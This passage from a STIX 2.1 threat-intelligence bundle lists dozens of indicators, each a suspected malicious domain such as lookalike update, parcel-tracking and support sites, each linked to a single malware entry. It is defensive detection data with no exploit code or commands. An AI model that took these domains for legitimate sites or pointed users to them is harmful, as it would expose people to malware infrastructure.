"malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--648a530f-7647-4f3a-b7e5-925f595679ce", "created": "2024-01-26T21:28:21.566652Z", "modified": "2024-01-26T21:28:21.566652Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='browser-update.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.566652Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--53fde4eb-3158-4655-b773-24eb4057ffea", "created": "2024-01-26T21:28:21.567131Z", "modified": "2024-01-26T21:28:21.567131Z", "relationship_type": "indicates", "source_ref": "indicator--648a530f-7647-4f3a-b7e5-925f595679ce", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b659b887-38cf-4453-be94-2e1b0f335c3b", "created": "2024-01-26T21:28:21.567235Z", "modified": "2024-01-26T21:28:21.567235Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='upgrade-sim-card.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.567235Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--338e1f8f-0e5a-4ab1-8d47-75f0006c8141", "created": "2024-01-26T21:28:21.567641Z", "modified": "2024-01-26T21:28:21.567641Z", "relationship_type": "indicates", "source_ref": "indicator--b659b887-38cf-4453-be94-2e1b0f335c3b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e4d4ec42-3965-4e0b-aecc-71b7571c91b0", "created": "2024-01-26T21:28:21.567738Z", "modified": "2024-01-26T21:28:21.567738Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='localgreenflowers.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.567738Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d8aa3658-0a14-42c8-a616-cb42c3a9d581", "created": "2024-01-26T21:28:21.568131Z", "modified": "2024-01-26T21:28:21.568131Z", "relationship_type": "indicates", "source_ref": "indicator--e4d4ec42-3965-4e0b-aecc-71b7571c91b0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4df4fd02-f1d0-4282-a1b5-b30e50993db6", "created": "2024-01-26T21:28:21.568228Z", "modified": "2024-01-26T21:28:21.568228Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='web-developper.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.568228Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--80d657dd-611a-492b-a0f8-5e96d28dc910", "created": "2024-01-26T21:28:21.568618Z", "modified": "2024-01-26T21:28:21.568618Z", "relationship_type": "indicates", "source_ref": "indicator--4df4fd02-f1d0-4282-a1b5-b30e50993db6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5e0d00f9-d504-48a1-b807-042e1e0e89d0", "created": "2024-01-26T21:28:21.56872Z", "modified": "2024-01-26T21:28:21.56872Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='calculatesymbols.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.56872Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--82017296-ee95-49e5-af8d-59c91dee7afc", "created": "2024-01-26T21:28:21.569112Z", "modified": "2024-01-26T21:28:21.569112Z", "relationship_type": "indicates", "source_ref": "indicator--5e0d00f9-d504-48a1-b807-042e1e0e89d0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ffb1b55a-b74e-4df7-ada0-0d406190e413", "created": "2024-01-26T21:28:21.569208Z", "modified": "2024-01-26T21:28:21.569208Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='contacting-customer.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.569208Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9da99b3d-ecd7-427a-8fb9-770d42ac85f1", "created": "2024-01-26T21:28:21.569603Z", "modified": "2024-01-26T21:28:21.569603Z", "relationship_type": "indicates", "source_ref": "indicator--ffb1b55a-b74e-4df7-ada0-0d406190e413", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--30685528-501c-42d5-880c-8a66fb7ee27c", "created": "2024-01-26T21:28:21.569702Z", "modified": "2024-01-26T21:28:21.569702Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='somewarmremember.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.569702Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--71a10e63-f02c-4acf-99de-3197aa4232cf", "created": "2024-01-26T21:28:21.570094Z", "modified": "2024-01-26T21:28:21.570094Z", "relationship_type": "indicates", "source_ref": "indicator--30685528-501c-42d5-880c-8a66fb7ee27c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4444a306-4e08-450a-b3f5-f3c71d1e4aa4", "created": "2024-01-26T21:28:21.570197Z", "modified": "2024-01-26T21:28:21.570197Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='karbalaeyat.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.570197Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0e4ff8e6-4b0e-4692-bd0d-02fbf9b5fa11", "created": "2024-01-26T21:28:21.570586Z", "modified": "2024-01-26T21:28:21.570586Z", "relationship_type": "indicates", "source_ref": "indicator--4444a306-4e08-450a-b3f5-f3c71d1e4aa4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--07926a64-e3a0-42b9-aec6-072a98e4e2dc", "created": "2024-01-26T21:28:21.570684Z", "modified": "2024-01-26T21:28:21.570684Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='webupdater.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.570684Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--82f73881-a107-4592-bcdc-86977720eea1", "created": "2024-01-26T21:28:21.571063Z", "modified": "2024-01-26T21:28:21.571063Z", "relationship_type": "indicates", "source_ref": "indicator--07926a64-e3a0-42b9-aec6-072a98e4e2dc", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2ba79c57-493f-4e64-8e5d-e205b7089edb", "created": "2024-01-26T21:28:21.571157Z", "modified": "2024-01-26T21:28:21.571157Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='nuevaidea.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.571157Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--361c7317-6ee3-47dd-a9d2-6697d8f36535", "created": "2024-01-26T21:28:21.571621Z", "modified": "2024-01-26T21:28:21.571621Z", "relationship_type": "indicates", "source_ref": "indicator--2ba79c57-493f-4e64-8e5d-e205b7089edb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c87fc60a-0412-44dc-9697-d186a26783a0", "created": "2024-01-26T21:28:21.571724Z", "modified": "2024-01-26T21:28:21.571724Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='booking-tables.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.571724Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7b3ff783-413e-4857-9dd1-f7d906440745", "created": "2024-01-26T21:28:21.572116Z", "modified": "2024-01-26T21:28:21.572116Z", "relationship_type": "indicates", "source_ref": "indicator--c87fc60a-0412-44dc-9697-d186a26783a0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--15efebd9-3f61-4cd4-aaba-4be94e69c78f", "created": "2024-01-26T21:28:21.572216Z", "modified": "2024-01-26T21:28:21.572216Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='newworld-news.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.572216Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--57f0b90f-740e-4c9c-b6cd-0f1579c127e5", "created": "2024-01-26T21:28:21.572601Z", "modified": "2024-01-26T21:28:21.572601Z", "relationship_type": "indicates", "source_ref": "indicator--15efebd9-3f61-4cd4-aaba-4be94e69c78f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--dc9255ca-2d01-4691-8db6-e68b070026ce", "created": "2024-01-26T21:28:21.572697Z", "modified": "2024-01-26T21:28:21.572697Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='track-your-fedex-package.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.572697Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ec79ab18-b11a-4784-aa2d-b6c1f215e0c4", "created": "2024-01-26T21:28:21.573091Z", "modified": "2024-01-26T21:28:21.573091Z", "relationship_type": "indicates", "source_ref": "indicator--dc9255ca-2d01-4691-8db6-e68b070026ce", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--cb99ae0c-ba21-476f-aa85-d64bc3a72231", "created": "2024-01-26T21:28:21.573187Z", "modified": "2024-01-26T21:28:21.573187Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='accountsections.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.573187Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7f9d408b-c8a7-46b9-a5c0-c2805a87a359", "created": "2024-01-26T21:28:21.573579Z", "modified": "2024-01-26T21:28:21.573579Z", "relationship_type": "indicates", "source_ref": "indicator--cb99ae0c-ba21-476f-aa85-d64bc3a72231", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4d14be12-7b00-442c-bbfe-47d361a74f9a", "created": "2024-01-26T21:28:21.573681Z", "modified": "2024-01-26T21:28:21.573681Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='supportonline4me.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.573681Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--dc553cf6-06ef-4d48-b11a-bc869c8e4d15", "created": "2024-01-26T21:28:21.574075Z", "modified": "2024-01-26T21:28:21.574075Z", "relationship_type": "indicates", "source_ref": "indicator--4d14be12-7b00-442c-bbfe-47d361a74f9a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--229a3148-8556-4eac-8cdd-334374f6e81f", "created": "2024-01-26T21:28:21.574174Z", "modified": "2024-01-26T21:28:21.574174Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='loveandhatenow.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.574174Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0ea869e9-15ab-4d5b-a193-95e6a1aa1be8", "created": "2024-01-26T21:28:21.574561Z", "modified": "2024-01-26T21:28:21.574561Z", "relationship_type": "indicates", "source_ref": "indicator--229a3148-8556-4eac-8cdd-334374f6e81f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--cbcf698b-f3ae-4a8c-9b07-e9857b969c53", "created": "2024-01-26T21:28:21.574657Z", "modified": "2024-01-26T21:28:21.574657Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='columbus-parking.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.574657Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--58f42110-3efb-4d65-82ae-2181a2409902", "created": "2024-01-26T21:28:21.575047Z", "modified": "2024-01-26T21:28:21.575047Z", "relationship_type": "indicates", "source_ref": "indicator--cbcf698b-f3ae-4a8c-9b07-e9857b969c53", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--18ce7ae5-82a3-4213-b892-11a0a33aceb5", "created": "2024-01-26T21:28:21.575144Z", "modified": "2024-01-26T21:28:21.575144Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='clubmovistar.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.575144Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--609b0426-7b2d-4737-ad33-dbe9c8c2a66e", "created": "2024-01-26T21:28:21.575534Z", "modified": "2024-01-26T21:28:21.575534Z", "relationship_type": "indicates", "source_ref": "indicator--18ce7ae5-82a3-4213-b892-11a0a33aceb5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--73ef773c-d6de-4a30-bfc7-8cd1db9ea7a3", "created": "2024-01-26T21:28:21.575629Z", "modified": "2024-01-26T21:28:21.575629Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='online-loading.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.575629Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8f87cff6-72c2-4ee4-9d30-fe256fe19c7c", "created": "2024-01-26T21:28:21.576312Z", "modified": "2024-01-26T21:28:21.576312Z", "relationship_type": "indicates", "source_ref": "indicator--73ef773c-d6de-4a30-bfc7-8cd1db9ea7a3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6e551d72-593f-4eed-8022-4fbc9b484910", "created": "2024-01-26T21:28:21.576415Z", "modified": "2024-01-26T21:28:21.576415Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='eurosportnews.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.576415Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--64127786-2562-4863-ac04-b10090bb0cbb", "created": "2024-01-26T21:28:21.576808Z", "modified": "2024-01-26T21:28:21.576808Z", "relationship_type": "indicates", "source_ref": "indicator--6e551d72-593f-4eed-8022-4fbc9b484910", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--324ce0ab-b3ac-418b-91d3-21a15b1aa94f", "created": "2024-01-26T21:28:21.576906Z", "modified": "2024-01-26T21:28:21.576906Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='paynfly.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.576906Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--fe40e85b-84a4-4b55-a678-4a2ba40f2803", "created": "2024-01-26T21:28:21.577287Z", "modified": "2024-01-26T21:28:21.577287Z", "relationship_type": "indicates", "source_ref": "indicator--324ce0ab-b3ac-418b-91d3-21a15b1aa94f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ce7f0912-fc6a-4bec-9c4e-31f0dff32d79", "created": "2024-01-26T21:28:21.577388Z", "modified": "2024-01-26T21:28:21.577388Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='zm-weather.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.577388Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a9d231c2-8f50-4edb-8d9c-f39a72a162b0", "created": "2024-01-26T21:28:21.577782Z", "modified": "2024-01-26T21:28:21.577782Z", "relationship_type": "indicates", "source_ref": "indicator--ce7f0912-fc6a-4bec-9c4e-31f0dff32d79", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--93a3d065-5276-46fe-894c-286ac2eb099a", "created": "2024-01-26T21:28:21.57788Z", "modified": "2024-01-26T21:28:21.57788Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='theshopclub.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.57788Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4adca751-8db9-4733-83d6-5d70d8469fab", "created": "2024-01-26T21:28:21.578268Z", "modified": "2024-01-26T21:28:21.578268Z", "relationship_type": "indicates", "source_ref": "indicator--93a3d065-5276-46fe-894c-286ac2eb099a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--06dbb462-80d6-4a64-a675-801c32198cc8", "created": "2024-01-26T21:28:21.578366Z", "modified": "2024-01-26T21:28:21.578366Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='hmizat.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.578366Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d9ac76e8-0d81-48a3-b16a-477fc53dc54f", "created": "2024-01-26T21:28:21.578747Z", "modified": "2024-01-26T21:28:21.578747Z", "relationship_type": "indicates", "source_ref": "indicator--06dbb462-80d6-4a64-a675-801c32198cc8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2906df5a-aa82-4d1c-97ce-f1559aeede4f", "created": "2024-01-26T21:28:21.578846Z", "modified": "2024-01-26T21:28:21.578846Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='park4free.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.578846Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b67ef622-f195-4238-b356-addab97b3d19", "created": "2024-01-26T21:28:21.579226Z", "modified": "2024-01-26T21:28:21.579226Z", "relationship_type": "indicates", "source_ref": "indicator--2906df5a-aa82-4d1c-97ce-f1559aeede4f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--dda90ec5-9f57-4958-bbb6-815a42f644d7", "created": "2024-01-26T21:28:21.579322Z", "modified": "2024-01-26T21:28:21.579322Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='servingshade.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.579322Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b5062d95-48a4-4218-84af-dfcb2dccbb05", "created": "2024-01-26T21:28:21.579702Z", "modified": "2024-01-26T21:28:21.579702Z", "relationship_type": "indicates", "source_ref": "indicator--dda90ec5-9f57-4958-bbb6-815a42f644d7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8917c4e4-52aa-4187-a842-35c2457162ae", "created": "2024-01-26T21:28:21.579799Z", "modified": "2024-01-26T21:28:21.579799Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='starbuckscoffeeweb.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.579799Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2a0b87d7-1efd-475f-9c19-b990f4f7ce98", "created": "2024-01-26T21:28:21.580189Z", "modified": "2024-01-26T21:28:21.580189Z", "relationship_type": "indicates", "source_ref": "indicator--8917c4e4-52aa-4187-a842-35c2457162ae", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--429d7007-b7d7-4eb5-9884-233aae263824", "created": "2024-01-26T21:28:21.580284Z", "modified": "2024-01-26T21:28:21.580284Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='rewards-club.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.580284Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--fac2ec8c-3072-4021-ad27-8d9a264edb1b", "created": "2024-01-26T21:28:21.580673Z", "modified": "2024-01-26T21:28:21.580673Z", "relationship_type": "indicates", "source_ref": "indicator--429d7007-b7d7-4eb5-9884-233aae263824", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d2913010-6a29-4268-909b-a3d7b14ec041", "created": "2024-01-26T21:28:21.580773Z", "modified": "2024-01-26T21:28:21.580773Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirect-protocol.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.580773Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0f296940-2b30-4b5b-9659-263dbb6f9297", "created": "2024-01-26T21:28:21.581247Z", "modified": "2024-01-26T21:28:21.581247Z", "relationship_type": "indicates", "source_ref": "indicator--d2913010-6a29-4268-909b-a3d7b14ec041", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--67291078-1847-4fff-b0cc-c08885178e43", "created": "2024-01-26T21:28:21.581354Z", "modified": "2024-01-26T21:28:21.581354Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='jeeyarworld.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.581354Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--af9377c0-410d-42fe-963c-b67d7b5d25a0", "created": "2024-01-26T21:28:21.581742Z", "modified": "2024-01-26T21:28:21.581742Z", "relationship_type": "indicates", "source_ref": "indicator--67291078-1847-4fff-b0cc-c08885178e43", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5a58fffa-99f7-4339-b87d-e3836507c160", "created": "2024-01-26T21:28:21.58184Z", "modified": "2024-01-26T21:28:21.58184Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='uniquesite.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.58184Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--40d35973-7efc-4001-bafd-0c8beebbaddf", "created": "2024-01-26T21:28:21.582223Z", "modified": "2024-01-26T21:28:21.582223Z", "relationship_type": "indicates", "source_ref": "indicator--5a58fffa-99f7-4339-b87d-e3836507c160", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2168b43e-7ef5-4049-8442-dc70a72c9ad9", "created": "2024-01-26T21:28:21.582325Z", "modified": "2024-01-26T21:28:21.582325Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='domain-redirect.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.582325Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a00af265-9ab8-4e2b-93da-0b2e7096989a", "created": "2024-01-26T21:28:21.582711Z", "modified": "2024-01-26T21:28:21.582711Z", "relationship_type": "indicates", "source_ref": "indicator--2168b43e-7ef5-4049-8442-dc70a72c9ad9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e876c92e-c08e-42fe-9752-727de7fb2568", "created": "2024-01-26T21:28:21.582807Z", "modified": "2024-01-26T21:28:21.582807Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='track-your-fedex-package.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.582807Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--02c307c1-a1dc-4d49-a697-c4e5f9194a03", "created": "2024-01-26T21:28:21.583203Z", "modified": "2024-01-26T21:28:21.583203Z", "relationship_type": "indicates", "source_ref": "indicator--e876c92e-c08e-42fe-9752-727de7fb2568", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--739a3b16-94ac-4ac7-a537-bf7fa751027e", "created": "2024-01-26T21:28:21.583299Z", "modified": "2024-01-26T21:28:21.583299Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mozsafety.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.583299Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3a3243b6-fdee-4add-9b7f-01228983c72e", "created": "2024-01-26T21:28:21.583679Z", "modified": "2024-01-26T21:28:21.583679Z", "relationship_type": "indicates", "source_ref": "indicator--739a3b16-94ac-4ac7-a537-bf7fa751027e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e6d454f8-f591-4435-b422-782d7e79d810", "created": "2024-01-26T21:28:21.583776Z", "modified": "2024-01-26T21:28:21.583776Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirect-service.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.583776Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5dedf625-5b47-4ebf-97df-a4881cf84513", "created": "2024-01-26T21:28:21.584164Z", "modified": "2024-01-26T21:28:21.584164Z", "relationship_type": "indicates", "source_ref": "indicator--e6d454f8-f591-4435-b422-782d7e79d810", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--89e7ac70-dd73-4c8d-be26-17a11eec94cd", "created": "2024-01-26T21:28:21.58426Z", "modified": "2024-01-26T21:28:21.58426Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='techhelping.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.58426Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e8313eee-a682-4148-bfa4-68f3f3c1638a", "created": "2024-01-26T21:28:21.584643Z", "modified": "2024-01-26T21:28:21.584643Z", "relationship_type": "indicates", "source_ref": "indicator--89e7ac70-dd73-4c8d-be26-17a11eec94cd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--96f82db5-8774-4efd-98bb-d53ca6ca48d1", "created": "2024-01-26T21:28:21.58474Z", "modified": "2024-01-26T21:28:21.58474Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='so-this-is.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.58474Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--25a6faf3-c975-4fd7-9de6-16ce446ce48b", "created": "2024-01-26T21:28:21.585121Z", "modified": "2024-01-26T21:28:21.585121Z", "relationship_type": "indicates", "source_ref": "indicator--96f82db5-8774-4efd-98bb-d53ca6ca48d1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--78db7f01-99b2-4151-92ec-9a18f8849017", "created": "2024-01-26T21:28:21.585217Z", "modified": "2024-01-26T21:28:21.585217Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='maingreatessay.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.585217Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b870b0d8-bf68-4c21-b5e9-04e40f476cd0", "created": "2024-01-26T21:28:21.58569Z", "modified": "2024-01-26T21:28:21.58569Z", "relationship_type": "indicates", "source_ref": "indicator--78db7f01-99b2-4151-92ec-9a18f8849017", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8452539c-1252-467a-b000-c8bfec4f09d6", "created": "2024-01-26T21:28:21.585792Z", "modified": "2024-01-26T21:28:21.585792Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='stars4sale.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.585792Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3177f975-085e-4729-aaf7-008204b9a7ff", "created": "2024-01-26T21:28:21.586174Z", "modified": "2024-01-26T21:28:21.586174Z", "relationship_type": "indicates", "source_ref": "indicator--8452539c-1252-467a-b000-c8bfec4f09d6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": 